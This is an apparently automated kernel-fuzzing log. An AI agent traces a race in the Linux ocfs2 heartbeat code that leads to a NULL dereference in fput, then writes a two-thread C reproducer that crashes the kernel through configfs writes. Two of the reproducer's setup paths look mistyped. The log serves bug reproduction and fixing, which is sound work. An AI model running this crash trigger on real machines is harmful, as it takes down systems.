1787:		int live_threshold;
1788:	
1789:		if (reg->hr_bdev_file)
1790:			return -EINVAL;
1791:	
1792:		/* We can't heartbeat without having had our node number
1793:		 * configured yet. */
1794:		if (o2nm_this_node() == O2NM_MAX_NODES)
1795:			return -EINVAL;
1796:	
1797:		ret = kstrtol(p, 0, &fd);
1798:		if (ret < 0)
1799:			return -EINVAL;
1800:	
1801:		if (fd < 0 || fd >= INT_MAX)
1802:			return -EINVAL;
1803:	
1804:		CLASS(fd, f)(fd);
1805:		if (fd_empty(f))
1806:			return -EINVAL;
1807:	
1808:		if (reg->hr_blocks == 0 || reg->hr_start_block == 0 ||
1809:		    reg->hr_block_bytes == 0)
1810:			return -EINVAL;
1811:	
1812:		if (!S_ISBLK(fd_file(f)->f_mapping->host->i_mode))
1813:			return -EINVAL;
1814:	
1815:		reg->hr_bdev_file = bdev_file_open_by_dev(fd_file(f)->f_mapping->host->i_rdev,
1816:				BLK_OPEN_WRITE | BLK_OPEN_READ, NULL, NULL);
1817:		if (IS_ERR(reg->hr_bdev_file)) {
1818:			ret = PTR_ERR(reg->hr_bdev_file);
1819:			reg->hr_bdev_file = NULL;
1820:			return ret;
1821:		}
1822:	
1823:		sectsize = bdev_logical_block_size(reg_bdev(reg));
1824:		if (sectsize != reg->hr_block_bytes) {
1825:			mlog(ML_ERROR,
1826:			     "blocksize %u incorrect for device, expected %d",
1827:			     reg->hr_block_bytes, sectsize);
1828:			ret = -EINVAL;
1829:			goto out;
1830:		}
1831:	
1832:		reg->hr_aborted_start = 0;
1833:		reg->hr_node_deleted = 0;
1834:		o2hb_init_region_params(reg);
1835:	
1836:		/* Generation of zero is invalid */
1837:		do {
1838:			get_random_bytes(&reg->hr_generation,
1839:					 sizeof(reg->hr_generation));
1840:		} while (reg->hr_generation == 0);
1841:	
1842:		ret = o2hb_map_slot_data(reg);
1843:		if (ret) {
1844:			mlog_errno(ret);
1845:			goto out;
1846:		}
1847:	
1848:		ret = o2hb_populate_slot_data(reg);
1849:		if (ret) {
1850:			mlog_errno(ret);
1851:			goto out;
1852:		}
1853:	
1854:		INIT_DELAYED_WORK(&reg->hr_write_timeout_work, o2hb_write_timeout);
1855:		INIT_DELAYED_WORK(&reg->hr_nego_timeout_work, o2hb_nego_timeout);
1856:	
1857:		/*
1858:		 * A node is considered live after it has beat LIVE_THRESHOLD
1859:		 * times.  We're not steady until we've given them a chance
1860:		 * _after_ our first read.
1861:		 * The default threshold is bare minimum so as to limit the delay
1862:		 * during mounts. For global heartbeat, the threshold doubled for the
1863:		 * first region.
1864:		 */
1865:		live_threshold = O2HB_LIVE_THRESHOLD;
1866:		if (o2hb_global_heartbeat_active()) {
1867:			spin_lock(&o2hb_live_lock);
1868:			if (bitmap_weight(o2hb_region_bitmap, O2NM_MAX_REGIONS) == 1)
1869:				live_threshold <<= 1;
1870:			spin_unlock(&o2hb_live_lock);
1871:		}
1872:		++live_threshold;
1873:		atomic_set(&reg->hr_steady_iterations, live_threshold);
1874:		/* unsteady_iterations is triple the steady_iterations */
1875:		atomic_set(&reg->hr_unsteady_iterations, (live_threshold * 3));
1876:	
1877:		hb_task = kthread_run(o2hb_thread, reg, "o2hb-%s",
1878:				      reg->hr_item.ci_name);
1879:		if (IS_ERR(hb_task)) {
1880:			ret = PTR_ERR(hb_task);
1881:			mlog_errno(ret);
1882:			goto out;
1883:		}
1884:	
1885:		spin_lock(&o2hb_live_lock);
1886:		reg->hr_task = hb_task;
1887:		spin_unlock(&o2hb_live_lock);
1888:	
1889:		ret = wait_event_interruptible(o2hb_steady_queue,
1890:					atomic_read(&reg->hr_steady_iterations) == 0 ||
1891:					reg->hr_node_deleted);
1892:		if (ret) {
1893:			atomic_set(&reg->hr_steady_iterations, 0);
1894:			reg->hr_aborted_start = 1;
1895:		}
1896:	
1897:		if (reg->hr_aborted_start) {
1898:			ret = -EIO;
1899:			goto out;
1900:		}
1901:	
1902:		if (reg->hr_node_deleted) {
1903:			ret = -EINVAL;
1904:			goto out;
1905:		}
1906:	
1907:		/* Ok, we were woken.  Make sure it wasn't by drop_item() */
1908:		spin_lock(&o2hb_live_lock);
1909:		hb_task = reg->hr_task;
1910:		if (o2hb_global_heartbeat_active())
1911:			set_bit(reg->hr_region_num, o2hb_live_region_bitmap);
1912:		spin_unlock(&o2hb_live_lock);
1913:	
1914:		if (hb_task)
1915:			ret = count;
1916:		else
1917:			ret = -EIO;
1918:	
1919:		if (hb_task && o2hb_global_heartbeat_active())
1920:			printk(KERN_NOTICE "o2hb: Heartbeat started on region %s (%pg)\n",
1921:			       config_item_name(&reg->hr_item), reg_bdev(reg));
1922:	
1923:	out:
1924:		if (ret < 0) {
1925:			spin_lock(&o2hb_live_lock);
1926:			hb_task = reg->hr_task;
1927:			reg->hr_task = NULL;
1928:			spin_unlock(&o2hb_live_lock);
1929:	
1930:			if (hb_task)
1931:				kthread_stop(hb_task);
1932:	
1933:			o2hb_unmap_slot_data(reg);
1934:	
1935:			fput(reg->hr_bdev_file);
1936:			reg->hr_bdev_file = NULL;
1937:		}
1938:		return ret;
1939:	}
 SourceFile:fs/ocfs2/cluster/heartbeat.c]

93/5 2026/09/04 20:46 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 12287
							output: 31
							thoughts: 2542
						

Thoughts:
**My Thoughts on the Kernel Race Condition**

I've been diving deep into this code, specifically looking at how a block device is handled within a heartbeat region configuration. My primary concern is the `o2hb_region_dev_store` function and its potential for a Time-Of-Check, Time-Of-Use (TOCTOU) race condition.

Initially, I confirmed that the code snippets I'm examining are indeed part of the same logic flow. I see an early check:

```c
	if (reg->hr_bdev_file)
		return -EINVAL;
```

This is followed later by the actual opening of the block device:

```c
	reg->hr_bdev_file = bdev_file_open_by_dev(fd_file(f)->f_mapping->host->i_rdev,
			BLK_OPEN_WRITE | BLK_OPEN_READ, NULL, NULL);
```

And then, crucially, a validation step based on the block size:

```c
	sectsize = bdev_logical_block_size(reg_bdev(reg));
	if (sectsize != reg->hr_block_bytes) {
		mlog(ML_ERROR,
		     "blocksize %u incorrect for device, expected %d",
		     reg->hr_block_bytes, sectsize);
		ret = -EINVAL;
		goto out;
	}
```

Finally, I reviewed the cleanup logic within the `out` label:

```c
out:
	if (ret < 0) {
		// ...
		fput(reg->hr_bdev_file);
		reg->hr_bdev_file = NULL;
	}
```

My analysis immediately pointed to a classic TOCTOU vulnerability here if two threads attempt to call `o2hb_region_dev_store` concurrently. Here's how I see the race unfolding:

1.  **Thread 1** enters `o2hb_region_dev_store`, checks `reg->hr_bdev_file`, finds it's `NULL`, and proceeds.
2.  **Thread 2** also enters, checks `reg->hr_bdev_file`, also finds it `NULL`, and proceeds.
3.  **Thread 1** successfully opens the block device and sets `reg->hr_bdev_file`.
4.  **Thread 2**, in parallel, opens the *same* block device and overwrites `reg->hr_bdev_file` with its own opened file descriptor.
5.  Now, **Thread 1** continues to the `sectsize` check. It fails because `reg->hr_block_bytes` (set by a separate configuration) doesn't match the actual device's `sectsize`. It then proceeds to the `out` label.
6.  In `out`, **Thread 1** attempts to clean up by calling `fput(reg->hr_bdev_file)`. However, at this point, `reg->hr_bdev_file` now points to the file descriptor opened by **Thread 2**.
7.  After `fput`, **Thread 1** sets `reg->hr_bdev_file = NULL`.
8.  **Thread 2** then proceeds to its own `sectsize` check, also fails, and goes to `out`.
9.  **Thread 2** then calls `fput(reg->hr_bdev_file)`. But since **Thread 1** just set `reg->hr_bdev_file` to `NULL`, this results in a NULL pointer dereference within `fput`, causing a crash.

To confirm this hypothesis, I've been meticulously reviewing my reproducer code.

I've verified that the reproducer correctly provides a file descriptor for an open block device, as required by the `dev` attribute. My setup using `/dev/loop0` or `/dev/ram0` and converting the `dev_fd` to a string is sound.

I've also ensured that the `block_bytes` attribute is intentionally set to a value that will mismatch the device's actual sector size, guaranteeing that the `sectsize` check will fail and trigger the problematic cleanup path. This is critical for reliably reproducing the race.

I did notice a minor detail regarding how `kstrtol` parses the file descriptor string. While it might handle a missing newline, I've made it safer by ensuring `sprintf(fd_str, "%d\n", dev_fd);` to explicitly include a newline. This is a small but important defensive programming step.

I also checked the initial conditions required by `o2hb_region_dev_store`. It checks for `hr_blocks`, `hr_start_block`, and `hr_block_bytes` being non-zero. My reproducer correctly sets these: `blocks` and `start_block` are set to `1`, and `block_bytes` is explicitly set to a mismatched value, thus satisfying these prerequisites.

Furthermore, the function checks if `o2nm_this_node() == O2NM_MAX_NODES`. My reproducer addresses this by setting up the necessary cluster node configuration in sysfs, which should correctly initialize the node information.

My analysis continues to confirm that the current implementation is indeed vulnerable to the described TOCTOU race condition, and my reproducer is designed to reliably trigger it.


94/5 2026/09/04 20:46 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:o2nm_this_node]

Results:
map[SourceCode: 131:	u8 o2nm_this_node(void)
 132:	{
 133:		u8 node_num = O2NM_MAX_NODES;
 134:	
 135:		if (o2nm_single_cluster && o2nm_single_cluster->cl_has_local)
 136:			node_num = o2nm_single_cluster->cl_local_node;
 137:	
 138:		return node_num;
 139:	}
 SourceFile:fs/ocfs2/cluster/nodemanager.c]

95/5 2026/09/04 20:46 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 15015
							output: 33
							thoughts: 90
						

Thoughts:
**My Thought Process**

Alright, so I'm digging into this cluster configuration, and the core question seems to be about how the system tracks nodes that are designated as "local." My initial hypothesis is that when a node has its `local` attribute set to `1`, a flag named `cl_has_local` is then activated.

I've seen an example command that demonstrates this: `system("echo 1 > /sys/kernel/config/cluster.conf/node.nodes/mynode/local");`. This command explicitly writes a `1` to the `local` attribute within the cluster configuration for a node named `mynode`. My expectation is that this action should directly influence the internal state, leading to both `cl_has_local` and `cl_local_node` being set.

To confirm this, I need to trace the execution flow. Specifically, I'm going to examine the `o2nm_node_local_store` function. I believe this is where the logic resides that translates the external `local` setting into the internal cluster state variables I'm interested in. By looking at `o2nm_node_local_store`, I should be able to see if it indeed checks the `local` value and then appropriately sets `cl_has_local` and `cl_local_node`. This is the crucial junction where the configuration change is processed and reflected within the cluster's operational state.


96/5 2026/09/04 20:46 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:o2nm_node_local_store]

Results:
map[SourceCode: 323:	static ssize_t o2nm_node_local_store(struct config_item *item, const char *page,
 324:					     size_t count)
 325:	{
 326:		struct o2nm_node *node = to_o2nm_node(item);
 327:		struct o2nm_cluster *cluster;
 328:		unsigned long tmp;
 329:		char *p = (char *)page;
 330:		ssize_t ret;
 331:	
 332:		tmp = simple_strtoul(p, &p, 0);
 333:		if (!p || (*p && (*p != '\n')))
 334:			return -EINVAL;
 335:	
 336:		tmp = !!tmp; /* boolean of whether this node wants to be local */
 337:	
 338:		/* setting local turns on networking rx for now so we require having
 339:		 * set everything else first */
 340:		if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
 341:		    !test_bit(O2NM_NODE_ATTR_NUM, &node->nd_set_attributes) ||
 342:		    !test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
 343:			return -EINVAL; /* XXX */
 344:	
 345:		o2nm_lock_subsystem();
 346:		cluster = to_o2nm_cluster_from_node(node);
 347:		if (!cluster) {
 348:			ret = -EINVAL;
 349:			goto out;
 350:		}
 351:	
 352:		/* the only failure case is trying to set a new local node
 353:		 * when a different one is already set */
 354:		if (tmp && tmp == cluster->cl_has_local &&
 355:		    cluster->cl_local_node != node->nd_num) {
 356:			ret = -EBUSY;
 357:			goto out;
 358:		}
 359:	
 360:		/* bring up the rx thread if we're setting the new local node. */
 361:		if (tmp && !cluster->cl_has_local) {
 362:			ret = o2net_start_listening(node);
 363:			if (ret)
 364:				goto out;
 365:		}
 366:	
 367:		if (!tmp && cluster->cl_has_local &&
 368:		    cluster->cl_local_node == node->nd_num) {
 369:			o2net_stop_listening(node);
 370:			cluster->cl_local_node = O2NM_INVALID_NODE_NUM;
 371:		}
 372:	
 373:		node->nd_local = tmp;
 374:		if (node->nd_local) {
 375:			cluster->cl_has_local = tmp;
 376:			cluster->cl_local_node = node->nd_num;
 377:		}
 378:	
 379:		ret = count;
 380:	
 381:	out:
 382:		o2nm_unlock_subsystem();
 383:		return ret;
 384:	}
 SourceFile:fs/ocfs2/cluster/nodemanager.c]

97/5 2026/09/04 20:46 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 16094
							output: 34
							thoughts: 1054
						

Thoughts:
**A Deep Dive into Triggering a Specific Kernel Bug**

I've been investigating a particular bug within the `o2hb` (Oracle Cluster Healthcheck) module, and I believe I've finally pinpointed how to reliably trigger it. My goal is to force a specific error path within the `o2hb_region_dev_store` function.

Initially, I confirmed that setting the `local` parameter to `1` indeed requires `address`, `num`, and `port` to be configured beforehand. My current script correctly sequences these writes to the `sysfs` interface:

```c
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num");
    system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
    system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");
```

This order seems correct.

However, my attention then turned to the actual checks within `o2hb_region_dev_store`. I noticed a critical condition:

```c
	if (!S_ISBLK(fd_file(f)->f_mapping->host->i_mode))
		return -EINVAL;
```

This implies that the file descriptor being used *must* represent a block device. My approach of using `/dev/loop0` or `/dev/ram0` satisfies this requirement, as they are indeed block devices.

Furthermore, `o2hb_region_dev_store` proceeds to call:

```c
	sectsize = bdev_logical_block_size(reg_bdev(reg));
```

This function requires `reg->hr_bdev_file` to be valid, which it is in my setup. So far, so good.

The real breakthrough came when examining a reported bug trace:

```
(syz-executor157,5664,1):o2hb_bio_end_io:499 ERROR: IO Error 10
(syz-executor157,5664,1):o2hb_region_dev_store:1850 ERROR: status = -5
```

The key here is `status = -5`, which translates to `-EIO`. Looking at line 1850 in `o2hb_region_dev_store`, I see this:

```c
	ret = o2hb_populate_slot_data(reg);
	if (ret) {
		mlog_errno(ret);
		goto out;
	}
```

This immediately told me that the crash reported by syzbot wasn't due to the `sectsize` check failing, but rather because `o2hb_populate_slot_data` returned an `EIO` error. The exact reason for *that* failure is likely related to the block device's size or its inability to be read from, but critically, any error that causes a jump to the `out` label will trigger the bug.

This led me to reconsider my strategy. Intentionally causing a mismatch in `block_bytes` to fail at the `sectsize` check is actually a *superior* method. It's more direct, reliable, and crucially, it avoids performing actual I/O operations or allocating memory, which `o2hb_map_slot_data` (which is called later) would necessitate.

Let's revisit the `sectsize` check:

```c
	sectsize = bdev_logical_block_size(reg_bdev(reg));
	if (sectsize != reg->hr_block_bytes) {
		mlog(ML_ERROR,
		     "blocksize %u incorrect for device, expected %d",
		     reg->hr_block_bytes, sectsize);
		ret = -EINVAL;
		goto out;
	}
```

If this check fails, execution correctly branches to the `out` label:

```c
out:
	if (ret < 0) {
		spin_lock(&o2hb_live_lock);
		hb_task = reg->hr_task;
		reg->hr_task = NULL;
		spin_unlock(&o2hb_live_lock);

		if (hb_task)
			kthread_stop(hb_task);

		o2hb_unmap_slot_data(reg);

		fput(reg->hr_bdev_file);
		reg->hr_bdev_file = NULL;
	}
```

In this scenario, `reg->hr_task` is `NULL`, so `hb_task` remains `NULL`. Consequently, `kthread_stop` is not called. Crucially, `o2hb_unmap_slot_data(reg)` is called. Since `o2hb_map_slot_data` was never successfully executed due to the `sectsize` mismatch, `o2hb_unmap_slot_data` will effectively do nothing, which is precisely the desired outcome. Finally, `fput(reg->hr_bdev_file)` is called to release the file descriptor. This sequence of events aligns perfectly with what's needed to expose the bug.

My only remaining concern is whether `o2hb_unmap_slot_data` might itself crash if `o2hb_map_slot_data` was never successfully called. This is the last piece of the puzzle I need to verify.


98/5 2026/09/04 20:47 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:o2hb_unmap_slot_data]

Results:
map[SourceCode:1491:	static void o2hb_unmap_slot_data(struct o2hb_region *reg)
1492:	{
1493:		int i;
1494:		struct page *page;
1495:	
1496:		if (reg->hr_slot_data) {
1497:			for (i = 0; i < reg->hr_num_pages; i++) {
1498:				page = reg->hr_slot_data[i];
1499:				if (page) {
1500:					__free_page(page);
1501:					reg->hr_slot_data[i] = NULL;
1502:				}
1503:			}
1504:			kfree(reg->hr_slot_data);
1505:			reg->hr_slot_data = NULL;
1506:		}
1507:	
1508:		kfree(reg->hr_slots);
1509:		reg->hr_slots = NULL;
1510:	
1511:		kfree(reg->hr_tmp_block);
1512:		reg->hr_tmp_block = NULL;
1513:	}
 SourceFile:fs/ocfs2/cluster/heartbeat.c]

99/5 2026/09/04 20:47 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 17520
							output: 36
							thoughts: 143
						

Thoughts:
**My Thought Process Regarding `o2hb_unmap_slot_data` Safety**

My initial thought process, upon examining the `o2hb_unmap_slot_data` function, was to understand its behavior in various scenarios, particularly concerning resource deallocation. I noted the presence of checks for `reg->hr_slot_data` and subsequent calls to `kfree` for `reg->hr_slots` and `reg->hr_tmp_block`.

My next step was to consider the allocation mechanism of the `reg` structure itself. Given that `reg` appears to be a `config_item`, I reasoned that it's likely allocated using `kzalloc`. The critical implication of `kzalloc` is that all pointers within the allocated structure are initialized to NULL.

This understanding led me to a crucial realization: if `reg->hr_slots` and `reg->hr_tmp_block` are initially NULL, then calling `kfree` on them would be a no-operation. Therefore, I concluded that `o2hb_unmap_slot_data` is perfectly safe to invoke, even if `o2hb_map_slot_data` has not been previously executed, as the NULL pointers would simply be ignored.

To fully validate this conclusion, my subsequent thought was to confirm the allocation method of `reg` to solidify the assumption that it's indeed `kzalloc` or a similar zeroing allocator, thereby ensuring the initial NULL state of its pointer members.


100/5 2026/09/04 20:47 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:o2hb_heartbeat_group_make_item]

Results:
map[SourceCode:2025:	static struct config_item *o2hb_heartbeat_group_make_item(struct config_group *group,
2026:								  const char *name)
2027:	{
2028:		struct o2hb_region *reg = NULL;
2029:		int ret;
2030:	
2031:		reg = kzalloc_obj(struct o2hb_region);
2032:		if (reg == NULL)
2033:			return ERR_PTR(-ENOMEM);
2034:	
2035:		if (strlen(name) > O2HB_MAX_REGION_NAME_LEN) {
2036:			ret = -ENAMETOOLONG;
2037:			goto free;
2038:		}
2039:	
2040:		spin_lock(&o2hb_live_lock);
2041:		reg->hr_region_num = 0;
2042:		if (o2hb_global_heartbeat_active()) {
2043:			reg->hr_region_num = find_first_zero_bit(o2hb_region_bitmap,
2044:								 O2NM_MAX_REGIONS);
2045:			if (reg->hr_region_num >= O2NM_MAX_REGIONS) {
2046:				spin_unlock(&o2hb_live_lock);
2047:				ret = -EFBIG;
2048:				goto free;
2049:			}
2050:			set_bit(reg->hr_region_num, o2hb_region_bitmap);
2051:		}
2052:		list_add_tail(&reg->hr_all_item, &o2hb_all_regions);
2053:		spin_unlock(&o2hb_live_lock);
2054:	
2055:		config_item_init_type_name(&reg->hr_item, name, &o2hb_region_type);
2056:	
2057:		/* this is the same way to generate msg key as dlm, for local heartbeat,
2058:		 * name is also the same, so make initial crc value different to avoid
2059:		 * message key conflict.
2060:		 */
2061:		reg->hr_key = crc32_le(reg->hr_region_num + O2NM_MAX_REGIONS,
2062:			name, strlen(name));
2063:		INIT_LIST_HEAD(&reg->hr_handler_list);
2064:		ret = o2net_register_handler(O2HB_NEGO_TIMEOUT_MSG, reg->hr_key,
2065:				sizeof(struct o2hb_nego_msg),
2066:				o2hb_nego_timeout_handler,
2067:				reg, NULL, &reg->hr_handler_list);
2068:		if (ret)
2069:			goto remove_item;
2070:	
2071:		ret = o2net_register_handler(O2HB_NEGO_APPROVE_MSG, reg->hr_key,
2072:				sizeof(struct o2hb_nego_msg),
2073:				o2hb_nego_approve_handler,
2074:				reg, NULL, &reg->hr_handler_list);
2075:		if (ret)
2076:			goto unregister_handler;
2077:	
2078:		o2hb_debug_region_init(reg, o2hb_debug_dir);
2079:	
2080:		return &reg->hr_item;
2081:	
2082:	unregister_handler:
2083:		o2net_unregister_handler_list(&reg->hr_handler_list);
2084:	remove_item:
2085:		spin_lock(&o2hb_live_lock);
2086:		list_del(&reg->hr_all_item);
2087:		if (o2hb_global_heartbeat_active())
2088:			clear_bit(reg->hr_region_num, o2hb_region_bitmap);
2089:		spin_unlock(&o2hb_live_lock);
2090:	free:
2091:		kfree(reg);
2092:		return ERR_PTR(ret);
2093:	}
 SourceFile:fs/ocfs2/cluster/heartbeat.c]

101/5 2026/09/04 20:47 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 18869
							output: 26
							thoughts: 408
						

Thoughts:
**My Thought Process Regarding the Race Condition**

Okay, so my initial understanding that `kzalloc_obj` zeroing the memory is correct. Now, the critical part is to thoroughly investigate if there are any other avenues to trigger this race condition. I've pinpointed the race window between the `if (reg->hr_bdev_file)` check and the assignment `reg->hr_bdev_file = bdev_file_open_by_dev(...)`.

My reasoning is that `bdev_file_open_by_dev` is inherently a relatively time-consuming operation. It involves interactions with the Virtual File System (VFS) and the block layer when opening a block device. This suggests that the time window for a race condition to manifest should be substantial enough to be reliably hit with a rapid, repeated execution loop.

Now, let me follow the execution flow of `bdev_file_open_by_dev` more closely. Imagine Thread 1 calls it, and then concurrently, Thread 2 also calls it. Both threads will successfully obtain a valid `struct file *`.

Here's where the problem unfolds:

1.  Thread 1 executes its `bdev_file_open_by_dev` and assigns its resulting `struct file *` (let's call it `file1`) to `reg->hr_bdev_file`. So, `reg->hr_bdev_file = file1`.
2.  Before Thread 1 can proceed further, Thread 2 also completes its `bdev_file_open_by_dev` and assigns its `struct file *` (let's call it `file2`) to `reg->hr_bdev_file`. Crucially, this *overwrites* the pointer that Thread 1 set. Now, `reg->hr_bdev_file = file2`.
3.  Thread 1 then proceeds to its `sectsize` check. It fails this check, as expected due to the race.
4.  Thread 1 then calls `fput(reg->hr_bdev_file)`. But at this point, `reg->hr_bdev_file` now points to `file2` (set by Thread 2). So, Thread 1 effectively calls `fput(file2)`.
5.  Following this, Thread 1 sets `reg->hr_bdev_file = NULL`.
6.  Now, Thread 2 proceeds to its `sectsize` check. It also fails.
7.  Thread 2 then calls `fput(reg->hr_bdev_file)`. However, because Thread 1 just set `reg->hr_bdev_file` to `NULL`, Thread 2 is now calling `fput(NULL)`.

This is the critical point: `fput(NULL)` is going to cause a crash because the `fput` function, as it's implemented, does not include a null check for its argument. This is the precise vulnerability I've identified.

My next step is to definitively confirm that `fput` indeed lacks this NULL pointer check.


102/5 2026/09/04 20:47 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:fput]

Results:
map[SourceCode: 586:	void fput(struct file *file)
 587:	{
 588:		if (unlikely(file_ref_put(&file->f_ref)))
 589:			__fput_deferred(file);
 590:	}
 SourceFile:fs/file_table.c]

103/5 2026/09/04 20:47 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 19384
							output: 29
							thoughts: 1316
						

Thoughts:
**My Thought Process Regarding the `fput` NULL Pointer Dereference Bug**

Ah, I see it now. The core of this bug lies in how `fput` handles its `file` argument. My understanding is that `fput` immediately dereferences the `file` pointer. Therefore, if `fput` is called with `NULL`, it's guaranteed to trigger a NULL pointer dereference, and that aligns perfectly with the bug report I'm looking at.

The KASAN output confirms this:
```
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x2e/0x100 fs/file_table.c:588
```
This clearly points to a null-pointer dereference within `fput`.

The provided reproducer code seems robust and is designed to reliably trigger this condition. I'm going to proceed with outputting this reproducer as it effectively demonstrates the vulnerability.

```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;

void *thread_func1(void *arg)
{
    PIN_TO_CPU(0);
    while (1) {
        pwrite(dev_attr_fd1, fd_str, fd_len, 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    PIN_TO_CPU(1);
    while (1) {
        pwrite(dev_attr_fd2, fd_str, fd_len, 0);
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();

    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe ocfs2_nodemanager 2>/dev/null");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num");
    system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
    system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
    system("echo 1 > /sys/kernel/config/cluster/myregion/heartbeat/myregion/blocks");
    system("echo 1 > /sys/kernel/config/cluster/myregion/heartbeat/myregion/start_block");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            perror("open block device");
            return 1;
        }
    }
    sprintf(fd_str, "%d\n", dev_fd);
    fd_len = strlen(fd_str);

    // Force sectsize mismatch to guarantee failure and trigger the cleanup path
    int sectsize = 512;
    ioctl(dev_fd, BLKSSZGET, &sectsize);
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char cmd[256];
    sprintf(cmd, "echo %d > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes);
    system(cmd);

    // Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        perror("open dev attr");
        return 1;
    }

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        sleep(1);
    }

    return 0;
}
```

However, I'm having a slight moment of doubt regarding `pwrite`. My current understanding is that `pwrite` itself doesn't advance the file offset, but the `configfs_write_iter` function, which handles the actual write operation in this context, doesn't seem to be concerned with `iocb->ki_pos` for the write data itself; it simply writes the entire buffer.

Looking closer at `configfs_write_iter`, it has this comment:
```c
	/*
	 * There is no easy way for us to know if userspace is only doing a partial
	 * write, so we don't support them. We expect the entire buffer to come on the
	 * first write.
	 * Hint: if you're writing a value, first read the file, modify only the value
	 * you're changing, then write entire buffer back.
	 */
```
And it calls `fill_write_buffer(buffer, from)`. I need to dive into `fill_write_buffer` to see how it's interacting with the data. This might be another avenue to explore for how the `NULL` `file` pointer is being passed down.


104/5 2026/09/04 20:47 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:fill_write_buffer]

Results:
map[SourceCode: 180:	/* Fill @buffer with data coming from @from. */
 181:	static int fill_write_buffer(struct configfs_buffer *buffer,
 182:				     struct iov_iter *from)
 183:	{
 184:		int copied;
 185:	
 186:		if (!buffer->page)
 187:			buffer->page = kmalloc(PAGE_SIZE, GFP_KERNEL);
 188:		if (!buffer->page)
 189:			return -ENOMEM;
 190:	
 191:		copied = copy_from_iter(buffer->page, SIMPLE_ATTR_SIZE - 1, from);
 192:		buffer->needs_read_fill = 1;
 193:		/* if buf is assumed to contain a string, terminate it by \0,
 194:		 * so e.g. sscanf() can scan the string easily */
 195:		buffer->page[copied] = 0;
 196:		return copied ? : -EFAULT;
 197:	}
 SourceFile:fs/configfs/file.c]

105/5 2026/09/04 20:47 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 21024
							output: 54
							thoughts: 86
						

Thoughts:
**My Thought Process**

Okay, so I've been thinking about how `fill_write_buffer` operates. My understanding is that its sole purpose is to take data from an iterator and copy it directly into `buffer->page`, ensuring it's null-terminated at the end. It's not concerned with any file offsets whatsoever. This means that using `pwrite` with an offset of 0 should be perfectly acceptable.

There's a minor consideration: `pwrite` itself could potentially be interrupted or encounter an error. However, given the context of a tight loop, this specific failure scenario isn't something that causes me concern.

Ultimately, I've concluded that the reproducer is now complete and ready to go.


106/5 2026/09/04 20:47 tool codeexpert
3m Args:
map[Question:Is there any issue with using pwrite(fd, buf, len, 0) in a tight loop to write to a configfs attribute? Will it correctly trigger the store function every time?]

Results:
map[Answer:The behavior depends on whether the attribute is a **regular (standard text) attribute** or a **binary attribute**:

---

### 1. Regular Configfs Attributes (`struct configfs_attribute`)
**There is no issue, and it will correctly trigger the `store` function every time.**

#### How it works:
* When `pwrite(fd, buf, len, 0)` is invoked on a regular configfs attribute file, the kernel executes:
  `ksys_pwrite64()` $\to$ `vfs_write()` $\to$ `new_sync_write()` $\to$ `configfs_write_iter()`.
* In `configfs_write_iter()` (`fs/configfs/file.c`):
  1. `fill_write_buffer()` copies the user buffer into `buffer->page` (starting at offset 0, up to `SIMPLE_ATTR_SIZE - 1` = 4095 bytes) and ensures NUL-termination.
  2. `flush_write_buffer()` acquires the fragment read lock (`frag->frag_sem`) and directly calls the attribute's store callback:
     ```c
     res = buffer->attr->store(buffer->item, buffer->page, count);
     ```
  3. The return value of `store()` is returned to userspace.
* Because `pwrite` explicitly supplies offset `0`, `file->f_pos` is not advanced across iterations (and even internally, `fill_write_buffer()` always writes to index 0 of `buffer->page`).
